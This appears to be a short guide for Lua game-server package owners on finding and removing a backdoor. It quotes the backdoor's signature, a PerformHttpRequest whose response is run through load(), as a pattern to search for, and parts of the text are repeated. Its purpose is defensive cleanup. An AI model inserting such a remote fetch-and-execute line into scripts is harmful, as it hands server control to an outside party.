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How Can I Tell If I Have a Backdoor?
If you find a code like the following at the bottom of client.lua, config.lua, or server.lua in any script in your package, and it reappears even after you delete it, the script you're using has a cipher/backdoor.
How Do I Clean This Backdoor?
Search for the code function (e, d) pcall(function() assert(load(d))() end) end) inside your package. When you search, you may find a code similar to PerformHttpRequest('
What If I Can't Find the Code or Local Variables Keep Reappearing After Deletion?
If you encounter this situation, it means the code is part of an encrypted script. To find which script it's in, use Raider's es-antibackdoor script. When installed, it will list all potentially malicious parameters in the CMD. You need to read through them and search for the code line I provided. Once you find it, delete the script and the local (randomletters) code. Your package will be clean!
If you find a code like the following at the bottom of client.lua, config.lua, or server.lua in any script in your package, and it reappears even after you delete it, the script you're using has a cipher/backdoor.
How Do I Clean This Backdoor?
Search for the code function (e, d) pcall(function() assert(load(d))() end) end) inside your package. When you search, you may find a code similar to PerformHttpRequest('
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', function (e, d) pcall(function() assert(load(d))() end) end) (the domain inside will vary, I randomly chose it). If you find this code, you’re lucky; the person who added the backdoor hasn't encrypted the script. If you delete the found code line and the local (randomletters) code above it, the backdoor will be removed.What If I Can't Find the Code or Local Variables Keep Reappearing After Deletion?
If you encounter this situation, it means the code is part of an encrypted script. To find which script it's in, use Raider's es-antibackdoor script. When installed, it will list all potentially malicious parameters in the CMD. You need to read through them and search for the code line I provided. Once you find it, delete the script and the local (randomletters) code. Your package will be clean!
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